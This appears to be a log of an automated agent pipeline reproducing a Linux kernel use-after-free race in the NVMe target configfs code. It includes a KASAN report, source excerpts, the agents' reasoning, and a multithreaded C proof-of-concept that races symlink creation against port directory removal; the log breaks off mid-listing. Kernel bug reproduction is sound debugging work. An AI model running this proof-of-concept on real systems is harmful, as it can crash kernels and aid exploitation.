2097:		port->ana_default_group.port = port;
2098:		port->ana_default_group.grpid = NVMET_DEFAULT_ANA_GRPID;
2099:		config_group_init_type_name(&port->ana_default_group.group,
2100:				__stringify(NVMET_DEFAULT_ANA_GRPID),
2101:				&nvmet_ana_group_type);
2102:		configfs_add_default_group(&port->ana_default_group.group,
2103:				&port->ana_groups_group);
2104:	
2105:		return &port->group;
2106:	}
 SourceFile:drivers/nvme/target/configfs.c]

115/4 2026/08/26 18:20 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14403
							output: 35
							thoughts: 103
						

Thoughts:
**My Thought Process Regarding the `kstrtou16` Call and the `nvmet_port_subsys_allow_link` Bug**

So, I've just encountered this line: `kstrtou16(name, 0, &portid)`. My immediate thought is, "Okay, this function is clearly expecting the `name` argument to be a valid 16-bit unsigned integer representation." Given that the actual name being passed is "probe_port", I recognize instantly that this is the source of the problem. "probe_port" is obviously not a numerical value that can be parsed as a `u16`, and that's why the `EINVAL` error is being generated.

My mental correction is straightforward: the intent here is to provide a numerical identifier for the port. Therefore, a value like "1", or any other valid number within the 16-bit unsigned integer range, would be the appropriate input.

This realization then leads me to pinpoint the specific area where this error is manifesting and where the underlying bug likely resides: the `nvmet_port_subsys_allow_link` function. My next step is to dive into the implementation of `nvmet_port_subsys_allow_link` itself to understand its context and how it's being invoked with this invalid parameter.


116/4 2026/08/26 18:20 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_port_subsys_allow_link]

Results:
map[SourceCode:1056:	static int nvmet_port_subsys_allow_link(struct config_item *parent,
1057:			struct config_item *target)
1058:	{
1059:		struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
1060:		struct nvmet_subsys *subsys;
1061:		struct nvmet_subsys_link *link, *p;
1062:		int ret;
1063:	
1064:		if (target->ci_type != &nvmet_subsys_type) {
1065:			pr_err("can only link subsystems into the subsystems dir.!\n");
1066:			return -EINVAL;
1067:		}
1068:		subsys = to_subsys(target);
1069:		link = kmalloc_obj(*link);
1070:		if (!link)
1071:			return -ENOMEM;
1072:		link->subsys = subsys;
1073:	
1074:		down_write(&nvmet_config_sem);
1075:		ret = -EEXIST;
1076:		list_for_each_entry(p, &port->subsystems, entry) {
1077:			if (p->subsys == subsys)
1078:				goto out_free_link;
1079:		}
1080:	
1081:		if (list_empty(&port->subsystems)) {
1082:			ret = nvmet_enable_port(port);
1083:			if (ret)
1084:				goto out_free_link;
1085:		}
1086:	
1087:		list_add_tail(&link->entry, &port->subsystems);
1088:		nvmet_port_disc_changed(port, subsys);
1089:	
1090:		up_write(&nvmet_config_sem);
1091:		return 0;
1092:	
1093:	out_free_link:
1094:		up_write(&nvmet_config_sem);
1095:		kfree(link);
1096:		return ret;
1097:	}
 SourceFile:drivers/nvme/target/configfs.c]

117/4 2026/08/26 18:20 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15163
							output: 167
							thoughts: 582
						

Thoughts:
**My Thoughts on the NVMe-TCP Port Subsystem Link Bug**

Okay, I've been digging into this use-after-free bug in `nvmet_port_subsys_allow_link`, specifically at line 1059. The root cause, as I see it, is a UAF on `parent->ci_parent`. To break that down, `parent` here refers to the `subsystems` directory of a specific NVMe-TCP port, and `parent->ci_parent` is actually the `port` directory itself.

The crux of the issue is that this `port` directory was freed by task 6127. I traced its freeing path through `config_item_release`, `configfs_rmdir`, `vfs_rmdir`, `filename_rmdir`, and ultimately `__do_sys_unlinkat`.

Now, this immediately raised a question in my mind: if the `port` directory is freed, how can we possibly be linking into its `subsystems` directory afterwards? My initial thought was that `configfs_symlink` takes the `parent` (the `subsystems` directory) and maybe there's a race condition where the `port` directory is removed, but the symlink operation somehow still proceeds.

However, upon further investigation, I realized my initial assumption about the symlink was premature. The probe actually *failed* before it even got to the symlinking stage. The failure occurred because of an `EINVAL` error encountered during a `mkdir` operation for `probe_port`.

This means the probe didn't even reach the point where the UAF would have been triggered. The `mkdir` failed because `nvmet_ports_make` has a strict requirement: the port name *must* be a valid 16-bit unsigned integer. It explicitly uses `kstrtou16` for this. So, trying to create a port named `probe_port` simply isn't allowed.

Therefore, the `ProbePassed` flag should be `false`. The feedback I'd provide to the user would be: "The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This is because `nvmet_ports_ⅰports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port instead of `probe_port`."

Since we didn't actually hit a crash, the "Title Matches" flag being false isn't a critical concern here, but it is technically false because there was no terminal error.


118/4 2026/08/26 18:20 tool set-results
0m Args:
map[Feedback:The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory. ProbePassed:false TerminalError: TitleMatches:false]

Results:
map[Feedback:The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory. ProbePassed:false TerminalError: TitleMatches:false]

119/3 2026/08/26 18:20 action loop-controller
0m Results:
map[CapabilitiesVerified:false ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

120/2 2026/08/26 18:20 iteration 1
6m
121/3 2026/08/26 18:20 action If
2m Args:
map[OracleFeedback:The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory.]

122/4 2026/08/26 18:20 agent strategy-refiner
2m Model:
deep-reasoning

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Current Strategy: ### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```
Feedback: The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory.

Reply:
### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

As noted in the feedback, `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer. We will use `1` as the port directory name to ensure `mkdir` succeeds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```

123/5 2026/08/26 18:20 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8146
							output: 29
							thoughts: 332
						

Thoughts:
**My Thought Process on the NVMe-oF Port Probe Failure**

Okay, I've just received some feedback indicating that the probe failed because the `mkdir` operation on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. The error message specifically points out that the port name needs to be a valid 16-bit unsigned integer, like `1`.

This is interesting because I recall my *previous* strategy already incorporating `1` as the port name. I used it in the `mkdir` call: `mkdir("/sys/kernel/config/nvmet/ports/1", 0777);`. So, why the `EINVAL`?

Then it hits me: the feedback states the failure occurred on `/sys/kernel/config/nvmet/ports/probe_port`. That specific path, `probe_port`, wasn't something *I* directly used in my last attempt's strategy. It seems the feedback is referring to a probe initiated by the oracle itself, perhaps based on my strategy, or it's from a previous iteration that I'm now refining. My immediate task is to generate a C reproducer, so I need to ensure my strategy is correct.

Let me re-examine the prior strategy I outlined. Yes, it definitely used `1` for the port name. Before I move on, I should confirm if there are any other subtle issues I might be overlooking in that strategy.

Now, regarding the core of the bug itself: it appears to be a race condition. The problem lies between a `symlink` operation within `/sys/kernel/config/nvmet/ports/1/subsystems/` and a `rmdir` operation on `/sys/kernel/config/nvmet/ports/1`. The `symlink` is intended to point to `../../../subsystems/subsys1`.

This leads me to a critical question: the `nvmet_port_subsys_allow_link` function – what exactly does it expect as the target for this symbolic link? My understanding is that it should be a subsystem. To be absolutely certain, I need to dive into the source code of `nvmet_port_subsys_allow_link` to verify its requirements. This will help me refine the `symlink` target in my reproducer and ensure it aligns with the kernel's expectations.


124/5 2026/08/26 18:20 tool codesearch-definition-source
0m Args:
map[Name:nvmet_port_subsys_allow_link]

Results:
map[SourceCode:1056:	static int nvmet_port_subsys_allow_link(struct config_item *parent,
1057:			struct config_item *target)
1058:	{
1059:		struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
1060:		struct nvmet_subsys *subsys;
1061:		struct nvmet_subsys_link *link, *p;
1062:		int ret;
1063:	
1064:		if (target->ci_type != &nvmet_subsys_type) {
1065:			pr_err("can only link subsystems into the subsystems dir.!\n");
1066:			return -EINVAL;
1067:		}
1068:		subsys = to_subsys(target);
1069:		link = kmalloc_obj(*link);
1070:		if (!link)
1071:			return -ENOMEM;
1072:		link->subsys = subsys;
1073:	
1074:		down_write(&nvmet_config_sem);
1075:		ret = -EEXIST;
1076:		list_for_each_entry(p, &port->subsystems, entry) {
1077:			if (p->subsys == subsys)
1078:				goto out_free_link;
1079:		}
1080:	
1081:		if (list_empty(&port->subsystems)) {
1082:			ret = nvmet_enable_port(port);
1083:			if (ret)
1084:				goto out_free_link;
1085:		}
1086:	
1087:		list_add_tail(&link->entry, &port->subsystems);
1088:		nvmet_port_disc_changed(port, subsys);
1089:	
1090:		up_write(&nvmet_config_sem);
1091:		return 0;
1092:	
1093:	out_free_link:
1094:		up_write(&nvmet_config_sem);
1095:		kfree(link);
1096:		return ret;
1097:	}
 SourceFile:drivers/nvme/target/configfs.c]

125/5 2026/08/26 18:20 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9133
							output: 24
							thoughts: 942
						

Thoughts:
**A Deep Dive into the NVM Express Port Race Condition**

I've been wrestling with a race condition bug in the NVM Express driver, specifically within the `nvmet_port_subsys_allow_link` function. My initial suspicion was around line 1059: `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. My thinking was that if the `port` directory was removed concurrently, `parent->ci_parent` might end up pointing to a freed `nvmet_port`, leading to a use-after-free scenario.

However, I received crucial feedback that pointed me in a slightly different direction. The probe was failing because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` was returning `EINVAL`. This was because `nvmet_ports_make` has a requirement: the port name *must* be a valid 16-bit unsigned integer. It uses `kstrtou16(name, 0, &portid)` for this. So, my initial choice of `probe_port` was incorrect; I needed to use a numeric name, like `1`.

This feedback was a game-changer. It clarified the immediate obstacle and provided a clear path forward: I needed to craft a C reproducer using `1` as the port name. My primary goal now is to build a robust reproducer that reliably triggers the race condition between the `rmdir` of the port and the `symlink` operation within its `subsystems` directory.

I've drafted a C program that aims to achieve this. It sets up the necessary `configfs` structure, probes the `nvmet` module, and then launches multiple threads. One set of threads will continuously attempt to create and remove the port directory (`/sys/kernel/config/nvmet/ports/1`), while the other set will repeatedly create and unlink a symbolic link within the `subsystems` directory of that port. The hope is that this rapid, concurrent access will expose the race condition.

I've used `mkdir` and `rmdir` for the port, and `syscall(SYS_symlinkat, ...)` and `unlink` for the symlink. I'm also ensuring the `stop` flag is used for graceful thread termination.

However, as I review the code and consider the NVM Express driver's logic, a new question arises: will `nvmet_enable_port` be invoked correctly when the first subsystem is linked? The documentation or my understanding of the driver's internal workings suggests that this function might have its own prerequisites. It's possible that certain attributes or states within the port need to be established *before* a subsystem can be successfully linked. I need to delve deeper into `nvmet_enable_port` to ensure my reproducer accounts for any such dependencies, otherwise, the race might not be triggered as intended. My next step is to scrutinize `nvmet_enable_port`'s requirements.


126/5 2026/08/26 18:21 tool codesearch-definition-source
0m Args:
map[Name:nvmet_enable_port]

Results:
map[SourceCode: 316:	int nvmet_enable_port(struct nvmet_port *port)
 317:	{
 318:		const struct nvmet_fabrics_ops *ops;
 319:		int ret;
 320:	
 321:		lockdep_assert_held(&nvmet_config_sem);
 322:	
 323:		if (port->disc_addr.trtype == NVMF_TRTYPE_MAX)
 324:			return -EINVAL;
 325:	
 326:		ops = nvmet_transports[port->disc_addr.trtype];
 327:		if (!ops) {
 328:			up_write(&nvmet_config_sem);
 329:			request_module("nvmet-transport-%d", port->disc_addr.trtype);
 330:			down_write(&nvmet_config_sem);
